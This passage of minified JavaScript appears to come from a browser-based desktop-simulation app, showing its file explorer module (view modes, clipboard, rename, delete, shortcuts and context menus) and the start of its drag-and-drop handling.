7390 function x(t) {
7391 if (!t) return W.value = "derp", M.selectedIndex = 0, void _();
7392 var n = $fs.utils.getExt(t),
7393 i = e._get.ext.mime[n];
7394 if (t && n && i) {
7395 for (var o = 0; o < M.length; ++o)
7396 if (M.options[o].value == i) return void(M.value = i);
7397 M.selectedIndex = 0
7398 }
7399 }
7400
7401 function g(e) {
7402 W.value = e, setTimeout(function() {
7403 W.focus(), t.utils.inputSelectFileName(W)
7404 }, 100), v()
7405 }
7406
7407 function y(e, t, n) {
7408 var i = document.createElement("option");
7409 return i.value = e, i.dataset.ext = t, i.innerHTML = $io.str.truncate(n, 30), i.title = n, i
7410 }
7411
7412 function b() {
7413 a(i)
7414 }
7415 arguments.length < 3 && (r = o, o = null), i && "object" != typeof i || (i = (r = i).path || "/"), r || (r = {}), !0 === r.list && (r.viewType = "list"), !0 === r.icons && (r.viewType = "icons"), !0 === r.details && (r.viewType = "details"), !0 === r.workspace && (r.viewType = "workspace");
7416 var w = $extend({}, m, r),
7417 k = i,
7418 C = $fs.utils.getFileName(i);
7419 $fs.utils.isFolder(i) || (i = $fs.utils.getFolderPath(i)), w.save && (w.browse = !0), w.browse && (w.nav = !0), w.save && !w.accept && (w.accept = "*"), w.accept && $extend(w, $fs.utils.parseAccept(w.accept)), p++, w.id = p;
7420 var N = function() {
7421 try {
7422 "foo".localeCompare("bar", "i")
7423 } catch (e) {
7424 return "RangeError" === e.name
7425 }
7426 return !1
7427 }() ? function(e, t) {
7428 return e.localeCompare(t, "latin", {
7429 numeric: !0
7430 })
7431 } : function(e, t) {
7432 return e.localeCompare(t)
7433 },
7434 E = (document.createDocumentFragment(), document.createElement("div")),
7435 L = document.createElement("div"),
7436 A = document.createElement("div"),
7437 P = document.createElement("div"),
7438 I = document.createElement("input"),
7439 T = document.createElement("button"),
7440 O = document.createElement("button"),
7441 S = document.createElement("button"),
7442 F = document.createElement("button"),
7443 D = document.createElement("input");
7444 A.className = "ui_explorer__scrollview", A.style.width = "5px", A.style.height = "100px", A.style.display = "none", E.className = "ui_explorer_container", L.className = w.backgroundClass + " ui_explorer ui_explorer--" + w.viewType, "workspace" !== w.viewType && (L.className += " ui_explorer--not_workspace"), L.id = "ui_explorer_" + p, L.setAttribute("data-id", p), E.appendChild(L);
7445 var M, W, q = $io.fn.debounce(x, 100),
7446 j = t.current = f[p] = {
7447 el: {
7448 folder: L,
7449 scrollView: A
7450 },
7451 cfg: w,
7452 id: p,
7453 go: a,
7454 reorder: function() {
7455 n.call(j, w.viewType)
7456 },
7457 refresh: function(e) {
7458 var t = a(k);
7459 !1 === t && !1 === (t = l()) && a("/"), "function" == typeof e && e()
7460 },
7461 getSaveInput: function() {
7462 return W
7463 },
7464 getSelectionInput: function() {
7465 return D
7466 },
7467 getPath: function() {
7468 return k
7469 },
7470 getWindow: function() {
7471 return K
7472 }
7473 };
7474 if ("string" == typeof o && (o = document.querySelector(o)), w.style && L.setAttribute("style", w.style), L.setAttribute("touch-action", "none"), o) {
7475 var H = document.createElement("div");
7476 o.appendChild(H), $menu(H, $.barMenu, {
7477 keyTarget: L,
7478 thisArg: {
7479 el: L,
7480 explorer: j
7481 }
7482 }), o.appendChild(E), b()
7483 } else {
7484 var R = $extend({
7485 icon: "/c/sys/skins/" + e._settings.skin + "/places/folder.png",
7486 baseClass: "ui_explorer_window"
7487 }, w.window, {
7488 title: i,
7489 html: E,
7490 onactive: function() {
7491 t.current = j
7492 },
7493 onready: function() {
7494 b()
7495 },
7496 onopen: function() {
7497 w.onopen.call(this), w.save && d()
7498 },
7499 onclose: function(e) {
7500 w.nav && T.removeEventListener("click", l, !1), w.nav && S.removeEventListener("click", c, !1), w.nav && F.removeEventListener("click", s, !1), I && I.removeEventListener("keypress", u, !1), w.onclose.call(this, e, D.value), t.current = f[0], f[j.id] = null
7501 }
7502 });
7503 w.nav && (R.afterMenu = function() {
7504 return P.className = "flex ui_explorer__nav" + (w.nav ? "" : " hide"), T.innerHTML = "<", T.className = "skin_outset ui_explorer__nav__prev", S.innerHTML = '<img src="/c/sys/skins/w93/16/home.png">', S.className = "skin_outset ui_explorer__nav__home", O.innerHTML = ">", O.className = "skin_outset ui_explorer__nav__next", F.innerHTML = "Go", F.className = "skin_outset ui_explorer__nav__go", I.type = "text", I.value = i, I.className = "ui_explorer__nav__input flex__fluid", P.appendChild(T), P.appendChild(S), P.appendChild(I), P.appendChild(F), T.addEventListener("click", l, !1), F.addEventListener("click", s, !1), S.addEventListener("click", c, !1), I.addEventListener("keypress", u, !1), P
7505 }(), L.classList.add("ui_explorer--nav")), w.footer && (R.footer = function() {
7506 if (D.type = "text", D.className = "ui_explorer__selected_file" + (w.footer ? "" : " hide"), D.value = i, D.readOnly = !0, w.save) {
7507 var t = document.createElement("label");
7508 W = document.createElement("input"), M = document.createElement("select"), W.type = "text", t.textContent = "Name: ";
7509 var n = {};
7510 if ("*" === w.accept && M.appendChild(document.createElement("option")), (w.mimetype || w.ext) && ($io.arr.all(w.ext, function(t) {
7511 var i = e._get.ext.mime[t];
7512 if (!n[i]) {
7513 var o = $io.obj.getPath(e._get.mime.ext, i, "/");
7514 M.appendChild(y(i, t, (o[1] ? o[1] : i) + " (" + o[0] + ")")), n[i] = !0
7515 }
7516 }), $io.is.reg(w.mimetype))) {
7517 var o = $io.obj.getPath(e._get.mime.ext, w.mimetype, "/");
7518 $io.obj.each(o, function(e, t) {
7519 n[t] || (M.appendChild(y(t, e[0].split(",").shift().replace(".", ""), (e[1] ? e[1] : t) + " (" + e[0] + ")")), n[t] = !0)
7520 })
7521 }
7522 var r = document.createElement("div");
7523 return r.className = "ui_explorer__save_cont ui_combo", W.className = "ui_combo__main", M.style.marginLeft = "2px", r.appendChild(t), r.appendChild(W), r.appendChild(M), r.appendChild(D), r
7524 }
7525 return D
7526 }()), w.menu && (R.menuThisArg = {
7527 el: L,
7528 explorer: j
7529 }, R.menu = $.barMenu), w.browse && (L.classList.add("ui_explorer--browse"), R.title = "explorer", R.btnOk = w.save ? "Save" : "Open", R.btnCancel = "Cancel");
7530 var K = $window.call(this, R)
7531 }
7532 return j
7533}
7534
7535function n(t) {
7536 function n(e, t, i) {
7537 for (var r = 0, a = o.length; r < a; r++)
7538 if (r !== e && o[r].offsetTop === t && o[r].offsetLeft === i) return t + 2 * g > _ ? (t = 0, (i += x) + 2 * x > v && (i = 0, t += g)) : t += g, n(e, t, i);
7539 return {
7540 top: t,
7541 left: i
7542 }
7543 }
7544 var i = Array.prototype.slice;
7545 if ("workspace" === t) {
7546 var o = i.call(this.el.folder.querySelectorAll(".ui_icon"), 0);
7547 window.getComputedStyle(this.el.folder);
7548 if (v = this.el.folder.clientWidth, _ = this.el.folder.clientHeight, x = e._icons.w, g = e._icons.h, o.length)
7549 if (o.length * (x * g) > (v - x) * (_ - g)) this.el.folder.classList.add("ui_explorer--workspace--full");
7550 else {
7551 this.el.folder.classList.remove("ui_explorer--workspace--full"), o.sort(function(t, n) {
7552 var i = e._desktop[t.getAttribute("data-name")],
7553 o = e._desktop[n.getAttribute("data-name")];
7554 if (i && o) return i.time > o.time ? 1 : -1
7555 });
7556 var r = Date.now();
7557 $io.arr.each(o, function(t, n) {
7558 var i = e._desktop[t.getAttribute("data-name")];
7559 i || (i = e._desktop[t.getAttribute("data-name")] = {
7560 x: 0,
7561 y: 0,
7562 time: r + n
7563 });
7564 var o = i.y,
7565 a = i.x;
7566 o + g > _ && (o = Math.floor(_ / g) * g - 2 * g), o < 0 && (o = 0), a + x > v && (a = Math.floor(v / x) * x - x), a < 0 && (a = 0), t.style.position = "absolute", t.style.left = a + "px", t.style.top = o + "px", t.style.zIndex = n
7567 }), $io.arr.each(o, function(t, i) {
7568 var o = n(i, t.offsetTop, t.offsetLeft);
7569 t.style.left = o.left + "px", t.style.top = o.top + "px", e._desktop[t.getAttribute("data-name")] = {
7570 x: o.left,
7571 y: o.top,
7572 time: r + i
7573 }
7574 })
7575 }
7576 }
7577}
7578
7579function i() {
7580 if (!e._selected.length) return !1;
7581 if (r())
7582 for (var t = e._selected.length - 1; t >= 0; t--)
7583 if (e._selected[t].classList.contains("ui_icon__folder")) return !0
7584}
7585
7586function o() {
7587 return !e._selected.length
7588}
7589
7590function r() {
7591 return !t.current || !(0 === t.current.getPath().indexOf("/a/"))
7592}
7593
7594function a() {
7595 return !(!r() && !o())
7596}
7597
7598function l() {
7599 return !(!r() && (t.clipboard.copy.length > 0 || t.clipboard.cut.length > 0))
7600}
7601
7602function s() {
7603 if (this.el) return this.el.classList.contains("ui_icon__lnk42")
7604}
7605
7606function c(e) {
7607 for (var t = ["icons", "column", "list", "details", "workspace"], i = this.explorer.el.folder, o = 0, r = t.length; o < r; o++) i.classList.remove("ui_explorer--" + t[o]);
7608 i.classList.add("ui_explorer--" + e), "workspace" === e ? i.classList.remove("ui_explorer--not_workspace") : i.classList.add("ui_explorer--not_workspace"), this.explorer.cfg.viewType = e, n.call(this.explorer, this.explorer.el.folder)
7609}
7610
7611function u(e, t, n) {
7612 0 === e.indexOf("/a/") ? $prompt("Enter a name", function(i, o) {
7613 i && o && $db.set(e.replace(/^\/a\//, "") + o + (n ? "/" : ""), "", function() {
7614 $file.scan("/a/", function() {
7615 "function" == typeof t && t(o)
7616 })
7617 })
7618 }) : $notif("You don't have write permission on this drive", e)
7619}
7620
7621function d() {
7622 $io.arr.all(document.querySelectorAll(".ui_icon--cut"), function(e) {
7623 e.classList.remove("ui_icon--cut")
7624 })
7625}
7626var p = -1,
7627 f = [],
7628 m = {
7629 viewType: "icons",
7630 nav: !0,
7631 menu: !0,
7632 footer: !0,
7633 save: !1,
7634 browse: !1,
7635 silent: !1,
7636 backgroundClass: "skin_inset_deep skin_light",
7637 onopen: $noop,
7638 onready: $noop,
7639 onclose: $noop,
7640 window: {}
7641 };
7642e._selected = [], e.explorers = f, $el(e._dom.desktop).on("dblclick doubletap", ".ui_explorer .ui_icon:not(.ui_disabled)", function(e) {
7643 var n = this.getAttribute("data-path");
7644 t.setCurrent(this.parentNode, e), this.parentNode.classList.contains("ui_explorer--nav") && n && "/" === n.slice(-1) ? t.current && t.current.go && t.current.go(n) : this.parentNode.classList.contains("ui_explorer--browse") ? t.current && t.current.getWindow && t.current.getWindow().close(!0) : $exe(this) || $notif("No program is assigned to this kind of files")
7645}).on("click _touchstart", ".ui_explorer .ui_disabled", function(e) {
7646 t.setCurrent(this.parentNode, e);
7647 var n = t.current.getSaveInput();
7648 if (n) {
7649 var i = $fs.utils.getExt(n.value);
7650 n.value = $fs.utils.replaceExt(this.getAttribute("data-name"), i)
7651 }
7652 return !1
7653}).on("click _touchstart", ".ui_explorer .ui_icon:not(.ui_disabled)", function(n) {
7654 if (n.shiftKey && "absolute" !== this.style.position) {
7655 var i = e._selected[0];
7656 if (i && i.compareDocumentPosition(this) & Node.DOCUMENT_POSITION_FOLLOWING)
7657 for (o = i; !this.isEqualNode(o); o = o.nextElementSibling) - 1 === e._selected.indexOf(o) && e._selected.push(o);
7658 else
7659 for (var o = i; !this.isEqualNode(o); o = o.previousElementSibling) - 1 === e._selected.indexOf(o) && e._selected.push(o)
7660 } else n.ctrlKey || n.shiftKey || (e._selected.length = 0);
7661 var r = e._selected.indexOf(this);
7662 return t.setCurrent(this.parentNode, n), -1 === r ? e._selected.push(this) : e._selected.splice(r, 1), t.selection.display(), this.focus(), !1
7663}).on("mouseup", ".ui_explorer .ui_icon", function(n) {
7664 2 === n.button && (t.setCurrent(this.parentNode, n), this.classList.contains("ui_disabled") || (n.ctrlKey || -1 !== e._selected.indexOf(this) || (e._selected.length = 0), -1 === e._selected.indexOf(this) && e._selected.push(this), t.selection.display()), $.ctxFile.show({
7665 el: this,
7666 explorer: t.current
7667 }, { of: n,
7668 within: e._dom.screen
7669 }))
7670}).on("mousedown dragstart contextmenu", ".ui_explorer .ui_icon img", function(e) {
7671 e.preventDefault()
7672}).on("mouseup _touchstart", ".ui_explorer", function(n) {
7673 t.setCurrent(this, n), $drag.isDragging || !h && this.isEqualNode(n.target || n.srcElement) && (2 === n.button ? (e._selected.length = 0, $.ctxExplorer.show({
7674 el: this,
7675 explorer: t.current
7676 }, { of: n,
7677 within: e._dom.screen
7678 })) : ($route(""), e._selected.length = 0, t.selection.display()))
7679});
7680var h = !1;
7681$box(e._dom.desktop, ".ui_explorer", {
7682 target: ".ui_icon",
7683 onstart: function(e, t) {
7684 h = !0
7685 },
7686 ondraw: function(n, i) {
7687 var o = this.getAttribute("data-id");
7688 n.ctrlKey ? $io.arr.all(i, function(t) {
7689 -1 === e._selected.indexOf(t) && e._selected.push(t)
7690 }) : e._selected = i, t.selection.display(o)
7691 },
7692 onstop: function(e, t) {
7693 h = !1
7694 }
7695});
7696var v, _, x, g, y = {
7697 viewIcons: function() {
7698 c.call(this, "icons")
7699 },
7700 viewList: function(e) {
7701 c.call(this, "list")
7702 },
7703 viewColumn: function() {
7704 c.call(this, "column")
7705 },
7706 viewDetails: function() {
7707 c.call(this, "details")
7708 },
7709 viewWorkspace: function() {
7710 c.call(this, "workspace")
7711 },
7712 viewNavigation: function(e) {
7713 e ? (this.explorer.getWindow().el.afterMenu.classList.remove("hide"), this.explorer.el.folder.classList.add("ui_explorer--nav")) : (this.explorer.el.folder.classList.remove("ui_explorer--nav"), this.explorer.getWindow().el.afterMenu.classList.add("hide")), this.explorer.cfg.nav = e
7714 },
7715 viewFileTree: function(e) {
7716 e ? this.explorer.el.tree.classList.remove("hide") : this.explorer.el.tree.classList.add("hide"), this.explorer.cfg.fileTree = e
7717 },
7718 itemsOpenWith: function(t) {
7719 return !!e._selected.length && $fs.utils.getMenuOpenWith(e._selected)
7720 }
7721};
7722t.clipboard = {
7723 copy: [],
7724 cut: []
7725}, t.exe = {
7726 SelectAll: function() {
7727 e._selected = Array.prototype.slice.call(t.current.el.folder.querySelectorAll(".ui_icon")), t.selection.display()
7728 },
7729 Open: function() {
7730 t.selection.paths(function(e, t) {
7731 $exe(t)
7732 })
7733 },
7734 Copy: function(e, n) {
7735 d(), t.clipboard.copy.length = 0, t.clipboard.cut.length = 0, t.selection.paths(function(e, n) {
7736 t.clipboard.copy.push(e)
7737 })
7738 },
7739 Cut: function() {
7740 d(), t.clipboard.copy.length = 0, t.clipboard.cut.length = 0, t.selection.paths(function(e, n) {
7741 n.classList.add("ui_icon--cut"), t.clipboard.cut.push(e)
7742 })
7743 },
7744 Paste: function() {
7745 d(), $io.arr.all(t.clipboard.copy, function(e) {
7746 $fs.utils.isFolder(e);
7747 $file.copy(e, t.current.getPath(), function(e) {
7748 t.utils.saveIconPos(t.current.getPath(), t.current.id, e), t.refresh()
7749 })
7750 }), $io.arr.all(t.clipboard.cut, function(e) {
7751 t.clipboard.copy.push(e);
7752 var n = $fs.utils.isFolder(e),
7753 i = t.current.getPath() + $fs.utils.getName(e) + (n ? "/" : "");
7754 e !== i && $file.move(e, i, function() {
7755 t.refresh()
7756 })
7757 }), t.clipboard.cut.length = 0
7758 },
7759 Delete: function() {
7760 t.selection.truePaths(function(e) {
7761 $file.delete(e, function() {
7762 t.refresh(), $notif("File deleted", e)
7763 })
7764 })
7765 },
7766 Import: function() {
7767 $file.upload(function(e) {
7768 $file.save(t.current.getPath(), e, function(e) {
7769 t.utils.saveIconPos(t.current.getPath(), t.current.id, e), t.refresh()
7770 })
7771 })
7772 },
7773 DownloadAs: function() {
7774 t.selection.paths(function(e) {
7775 $fs.utils.isFolder(e) ? $archive(e) : $file.download(e)
7776 })
7777 },
7778 Zip: function() {
7779 $archive(e._selected)
7780 },
7781 Refresh: function() {
7782 t.refresh()
7783 },
7784 Format: function() {
7785 $file.format(function() {
7786 t.current.go("/a/")
7787 })
7788 },
7789 CreateFolder: function() {
7790 u(t.current.getPath(), function(e) {
7791 t.utils.saveIconPos(t.current.getPath(), t.current.id, e), t.refresh(e)
7792 }, !0)
7793 },
7794 CreateFile: function() {
7795 u(t.current.getPath(), function(e) {
7796 t.utils.saveIconPos(t.current.getPath(), t.current.id, e), t.refresh(e)
7797 })
7798 },
7799 CreateShortcut: function(n) {
7800 $window.form("Create Shortcut", {
7801 data: n || {},
7802 schema: e._shemas.shortcut
7803 }, function(e, n) {
7804 if (e) {
7805 var i = n.title || $fs.utils.getName(n.exe),
7806 o = t.current.getPath();
7807 $store.set(o.replace(/^\/a\//, "") + i + ".lnk42", n), t.utils.saveIconPos(t.current.getPath(), t.current.id, i + ".lnk42"), t.refresh(i + ".lnk42")
7808 }
7809 })
7810 },
7811 EditShortcut: function(n) {
7812 var i = [];
7813 document.activeElement;
7814 t.selection.all(function(n) {
7815 var o = n.getAttribute("data-path"),
7816 r = (n.getAttribute("data-title"), $fs.utils.getName(o));
7817 $window.form("Edit Shortcut", {
7818 data: $extend({}, n.dataset),
7819 schema: e._shemas.shortcut
7820 }, function(e, n) {
7821 if (e) {
7822 var a = o.replace(/^\/a\//, "");
7823 $store.update(a, function(e) {
7824 return $extend(e, n)
7825 }), i.push(r), t.refresh(i)
7826 }
7827 })
7828 })
7829 },
7830 Properties: function() {
7831 t.selection.all(function(e) {
7832 var t = $form.build($extend({}, e.dataset), {
7833 disabled: !0
7834 });
7835 $window({
7836 title: "Properties",
7837 html: t.el,
7838 width: 400,
7839 btnOk: "Close"
7840 })
7841 })
7842 },
7843 Rename: function() {
7844 var n = [];
7845 document.activeElement;
7846 t.selection.all(function(i) {
7847 var o = i.getAttribute("data-path"),
7848 r = i.getAttribute("data-title"),
7849 a = $fs.utils.getName(o),
7850 l = /\.lnk42$/.test(a),
7851 s = t.current;
7852 $prompt({
7853 msg: "New name ?",
7854 onready: function() {
7855 t.utils.inputSelectFileName(this.el.form.prompt)
7856 }
7857 }, r || a, function(i, r) {
7858 if (i) {
7859 var c = $io.str.truncate(r.replace(/[\/:]/g, "_"), 247);
7860 l && (c += ".lnk42");
7861 $fs.utils.getFolderPath(o);
7862 $file.rename(o, c, function(i) {
7863 if (t.current = s, l) {
7864 var o = i.replace(/^\/a\//, "");
7865 $store.update(o, function(e) {
7866 return e.name = r + ".lnk42", e.title = r, e
7867 })
7868 }
7869 e._desktop[a] && (e._desktop[c] = $extend({}, e._desktop[a]), delete e._desktop[a]), n.push(c), t.refresh(n)
7870 })
7871 }
7872 })
7873 })
7874 },
7875 OpenTerminalHere: function() {
7876 $exe("terminal " + t.current.getPath())
7877 }
7878};
7879var $ = {
7880 barMenu: [{
7881 name: "File",
7882 items: [{
7883 name: "Open",
7884 key: "enter",
7885 action: t.exe.Open,
7886 disabled: o
7887 }, {
7888 name: "Open With...",
7889 items: y.itemsOpenWith,
7890 disabled: o
7891 }, {
7892 name: "---"
7893 }, {
7894 name: "Create Folder...",
7895 key: "ctrl+shift+f",
7896 action: t.exe.CreateFolder,
7897 disabled: r
7898 }, {
7899 name: "Create Document...",
7900 key: "ctrl+shift+d",
7901 action: t.exe.CreateFile,
7902 disabled: r
7903 }, {
7904 name: "Create Shortcut...",
7905 key: "ctrl+shift+s",
7906 action: t.exe.CreateShortcut,
7907 disabled: r
7908 }, {
7909 name: "---"
7910 }, {
7911 name: "Import file",
7912 action: t.exe.Import,
7913 disabled: r
7914 }, {
7915 name: "Download file(s)",
7916 action: t.exe.DownloadAs,
7917 disabled: i
7918 }, {
7919 name: "---"
7920 }, {
7921 name: "Open Terminal here",
7922 action: t.exe.OpenTerminalHere
7923 }, {
7924 name: "---"
7925 }, {
7926 name: "Quit",
7927 action: function() {
7928 winInstance && winInstance.close && winInstance.close()
7929 }
7930 }]
7931 }, {
7932 name: "Edit",
7933 items: [{
7934 name: "Select all",
7935 key: "ctrl+a",
7936 action: t.exe.SelectAll
7937 }, {
7938 name: "---"
7939 }, {
7940 name: "Cut",
7941 key: "ctrl+x",
7942 action: t.exe.Cut,
7943 disabled: a
7944 }, {
7945 name: "Copy",
7946 key: "ctrl+c",
7947 action: t.exe.Copy,
7948 disabled: a
7949 }, {
7950 name: "Paste",
7951 key: "ctrl+v",
7952 action: t.exe.Paste,
7953 disabled: l
7954 }, {
7955 name: "---"
7956 }, {
7957 name: "Rename",
7958 key: "f2",
7959 action: t.exe.Rename,
7960 disabled: a
7961 }, {
7962 name: "Delete",
7963 key: "del",
7964 action: t.exe.Delete,
7965 disabled: a
7966 }]
7967 }, {
7968 name: "View",
7969 items: [{
7970 name: "Refresh",
7971 action: t.exe.Refresh
7972 }, {
7973 name: "---"
7974 }, {
7975 name: "Navigation",
7976 checkbox: !0,
7977 action: y.viewNavigation,
7978 selected: function() {
7979 return this.explorer.cfg.nav
7980 }
7981 }, {
7982 name: "---"
7983 }, {
7984 name: "Icons",
7985 radio: "View",
7986 action: y.viewIcons,
7987 selected: function() {
7988 return "icons" === this.explorer.cfg.viewType
7989 }
7990 }, {
7991 name: "List",
7992 radio: "View",
7993 action: y.viewList,
7994 selected: function() {
7995 return "list" === this.explorer.cfg.viewType
7996 }
7997 }]
7998 }],
7999 ctxFile: $menu([{
8000 name: "Open",
8001 action: t.exe.Open
8002 }, {
8003 name: "Open With...",
8004 items: y.itemsOpenWith,
8005 disabled: o
8006 }, {
8007 name: "Download As...",
8008 action: t.exe.DownloadAs,
8009 disabled: i
8010 }, {
8011 name: "---"
8012 }, {
8013 name: "Cut",
8014 key: "ctrl+x",
8015 action: t.exe.Cut,
8016 disabled: a
8017 }, {
8018 name: "Copy",
8019 key: "ctrl+c",
8020 action: t.exe.Copy,
8021 disabled: a
8022 }, {
8023 name: "---"
8024 }, {
8025 name: "Rename",
8026 key: "f2",
8027 action: t.exe.Rename,
8028 disabled: a
8029 }, {
8030 name: "Delete",
8031 key: "del",
8032 action: t.exe.Delete,
8033 disabled: a
8034 }, {
8035 name: "---"
8036 }, {
8037 name: "Edit",
8038 display: s,
8039 action: t.exe.EditShortcut,
8040 disabled: a
8041 }, {
8042 name: "Properties",
8043 action: t.exe.Properties
8044 }])
8045};
8046$.ctxExplorer = $menu([{
8047 name: "Create Folder...",
8048 action: t.exe.CreateFolder,
8049 disabled: r
8050}, {
8051 name: "Create Document...",
8052 action: t.exe.CreateFile,
8053 disabled: r
8054}, {
8055 name: "Create Shortcut...",
8056 action: t.exe.CreateShortcut,
8057 disabled: r
8058}, {
8059 name: "---"
8060}, {
8061 name: "Paste",
8062 key: "ctrl+v",
8063 action: t.exe.Paste,
8064 disabled: l
8065}, {
8066 name: "---"
8067}, {
8068 name: "Open Terminal here",
8069 action: t.exe.OpenTerminalHere
8070}]), t.selection = {
8071 reset: function() {
8072 return e._selected.length = 0, this
8073 },
8074 add: function(t) {
8075 return e._selected.push(t), this
8076 },
8077 all: function(t) {
8078 return $io.arr.all(e._selected, t), this
8079 },
8080 each: function(t) {
8081 return $io.arr.each(e._selected, t), this
8082 },
8083 paths: function(t) {
8084 return $io.arr.all(e._selected, function(e) {
8085 var n = $extend({}, e.dataset),
8086 i = e.getAttribute("data-exe"),
8087 o = e.getAttribute("data-path"),
8088 r = $fs.utils.exist(i) ? i : o;
8089 return t.call(n, r, e)
8090 }), this
8091 },
8092 truePaths: function(t) {
8093 return $io.arr.all(e._selected, function(e) {
8094 var n = $extend({}, e.dataset),
8095 i = e.getAttribute("data-path");
8096 return t.call(n, i, e)
8097 }), this
8098 },
8099 remove: function() {
8100 return $io.arr.all(document.querySelectorAll(".ui_icon.ui_selected"), function(e) {
8101 e.classList.remove("ui_selected")
8102 }), this
8103 },
8104 display: function() {
8105 var n = [];
8106 if (t.selection.remove(), $io.arr.all(e._selected, function(t) {
8107 var i = t.getAttribute("data-path");
8108 i && n.push(e._selected.length > 1 ? '"' + i + '"' : i), t && t.classList.add("ui_selected")
8109 }), t.current) {
8110 var i = t.current.getSaveInput();
8111 if (i) i && n && n[0] && (i.value = $fs.utils.getFileName(n[0]), $el(i).trigger("change"));
8112 else {
8113 var o = t.current.getSelectionInput();
8114 o && (o.value = n.join(", \n") || t.current.getPath())
8115 }
8116 }
8117 return this
8118 }
8119}, t.instances = f;
8120var b, w;
8121t.setCurrent = function(e, n) {
8122 var i = f[1 === e.nodeType ? 1 * e.getAttribute("data-id") : e];
8123 return i && (t.current = i), 0 === t.current.id && n && (b = n.clientX, w = n.clientY), i
8124}, t.utils = {}, t.utils.inputSelectFileName = function(e) {
8125 if (/\.[a-z0-9]{1,20}$/.test(e.value)) {
8126 var t = e.value.lastIndexOf(".");
8127 t > -1 && $selection.create(e, 0, t)
8128 } else e.select()
8129}, t.utils.saveIconPos = function(t, n, i, o, r) {
8130 o = "number" == typeof o ? o : b - e._icons.w / 2, r = "number" == typeof r ? r : w - e._icons.h / 2, (i = i ? $fs.utils.getName(i) : $fs.utils.getName(t)) && $fs.utils.getFolderPath(t) === e._path.desktop && (e._desktop[i] = 1 * n == 0 && 1 * o === o && 1 * r === r ? {
8131 x: o,
8132 y: r,
8133 time: Date.now()
8134 } : {
8135 x: 9999,
8136 y: 0,
8137 time: 0
8138 })
8139}, t.refresh = function(e, n) {
8140 $file.scan("/a/", function() {
8141 $io.arr.all(f, function(e) {
8142 e && e.refresh()
8143 }), "string" == typeof e && (e = [e]), e && e.length && (n = n || e[0], t.selection.reset(), $io.arr.all(e, function(e) {
8144 var i = t.current.el.folder.querySelector('div[data-name="' + e + '"]');
8145 i && (n === e && i.focus(), t.selection.add(i))
8146 }), t.selection.display())
8147 })
8148}, window.$explorer = t
8149});
8150//os/sys/explorer.drop.js
8151system42.on("explorer:ready", function(e) {
8152function t() {
8153 if (p.length)
8154 for (var e = 0, t = p.length; e < t; e++) {
8155 p[e].el;
8156 var n, o, a = p[e].ghost,
8157 r = p[e].rect;
8158 g ? (o = $drag.y - h.y * e, n = $drag.x - h.x * e) : $key.r ? (o = r.top - Math.random() * (f.top - $drag.y), n = r.left - Math.random() * (f.left - $drag.x)) : (o = r.top - (f.top - $drag.y), n = r.left - (f.left - $drag.x)), $key.space && (n = ~~((n + u.grid[0] / 2) / u.grid[0]) * u.grid[0], o = ~~((o + u.grid[1] / 2) / u.grid[1]) * u.grid[1]), a.style.top = o + "px", a.style.left = n + "px"
8159 }
8160}
8161
8162function n(e) {
8163 for (var t = 0, n = p.length; t < n; t++) e(p[t].el, p[t].ghost, p[t].rect, p[t], t)
8164}
8165
8166function o() {
8167 p.length = 0, f = null, g = !1, h.x = 0, h.y = 0
8168}
8169
8170function a(e) {
8171 m && n(!0 === e || e.ctrlKey || e.shiftKey ? function(e, t) {
8172 t.style.opacity = ".6", e.classList.remove("hide")
8173 } : function(e, t) {
8174 t.style.opacity = "1", e.classList.add("hide")
8175 })
8176}
8177
8178function r(e, t) {
8179 t.classList.contains("ui_explorer--not_local") && t.classList.add("ui_dropzone--no-drop"), t.classList.add("ui_dropzone"), $drag.elem.parentNode !== t && t.classList.add("ui_dropzone--droppable")
8180}
8181
8182function i(e) {
8183 e.classList.remove("ui_dropzone"), e.classList.remove("ui_dropzone--copy"), e.classList.remove("ui_dropzone--move"), e.classList.remove("ui_dropzone--link"), e.classList.remove("ui_dropzone--droppable"), e.classList.remove("ui_dropzone--no-drop")
8184}
8185
8186function s(e) {
8187 e && e.parentNode && e.parentNode === document.body && document.body.removeChild(e)
8188}
8189
8190function l(e, t, n) {
8191 $transition.revert(t, {
8192 x: n.left,
8193 y: n.top
8194 }, function() {
8195 e.classList.remove("hide"), t && t.parentNode && t.parentNode === document.body && document.body.removeChild(t)
8196 })
8197}
8198
8199function c(t, n) {
8200 var a, r, i = [];
8201 if (t.classList.contains("ui_explorer--local") ? (r = $explorer.instances[1 * t.getAttribute("data-id")], a = r.getPath()) : a = t.getAttribute("data-exe"), a) {
8202 $state.loading();
8203 var l, c = Date.now();
8204 $io.arr.enum([p], function(t, o, d) {
8205 var u = t.el.getAttribute("data-path"),
8206 p = $fs.utils.isFolder(u),
8207 f = a + t.el.getAttribute("data-name") + (p ? "/" : "");
8208 try {
8209 n.call(t, u, f, a, function(n) {
8210 var a = $fs.utils.getName(n);
8211 t.focus && (l = a), i.push(a), r && 0 === r.id && (e._desktop[a] = {
8212 x: parseInt(t.ghost.style.left),
8213 y: parseInt(t.ghost.style.top),
8214 time: c - o
8215 }), d()
8216 })
8217 } catch (e) {
8218 d(), $alert.error(e)
8219 }
8220 s(t.ghost)
8221 }).done(function() {
8222 $explorer.refresh(i, l), $state.loaded(), o()
8223 })
8224 } else $notif("You don't have write permission on this drive"), y.cancel()
8225}
8226
8227function d() {
8228 Date.now();
8229 var e = new Image,
8230 t = document.createElement("div");
8231 t.style.cssText = "position: absolute;top: 0px;bottom: 0px;left: 0px;right: 0px;width: auto;height: auto;background: center center / cover no-repeat transparent;z-index: 999999;-ms-interpolation-mode: nearest-neighbor;image-rendering: -webkit-optimize-contrast;image-rendering: -moz-crisp-edges;image-rendering: -o-pixelated;image-rendering: pixelated;cursor: none;", document.body.appendChild(t), e.onload = function(e) {
8232 t.style.backgroundImage = 'url("/d/papy.gif")', setTimeout(function() {
8233 document.body.removeChild(t)
8234 }, 2500)
8235 }, e.src = "/d/papy.gif"
8236}
8237$key().combo({
8238 left: function() {
8239 p.length && (g = !0, h.x += 2, t())
8240 },
8241 right: function() {
8242 p.length && (g = !0, h.x -= 2, t())
8243 },
8244 up: function() {
8245 p.length && (g = !0, h.y += 2, t())
8246 },
8247 down: function() {
8248 p.length && (g = !0, h.y -= 2, t())
8249 },
8250 esc: function() {
8251 p.length && (g = !1, h = {
8252 x: 0,
8253 y: 0
8254 }, t())
8255 }
8256});
8257var u = {
8258 grid: [e._icons.w, e._icons.h]
8259 },
8260 p = [],
8261 f = null,
8262 g = !1,
8263 h = {
8264 x: 0,
8265 y: 0
8266 },
8267 m = !1,
8268 $ = $io.fn.throttle(a, 100),
8269 x = !1;
8270$drag(e._dom.screen, ".ui_explorer--local .ui_icon", {
8271 ghost: !0,
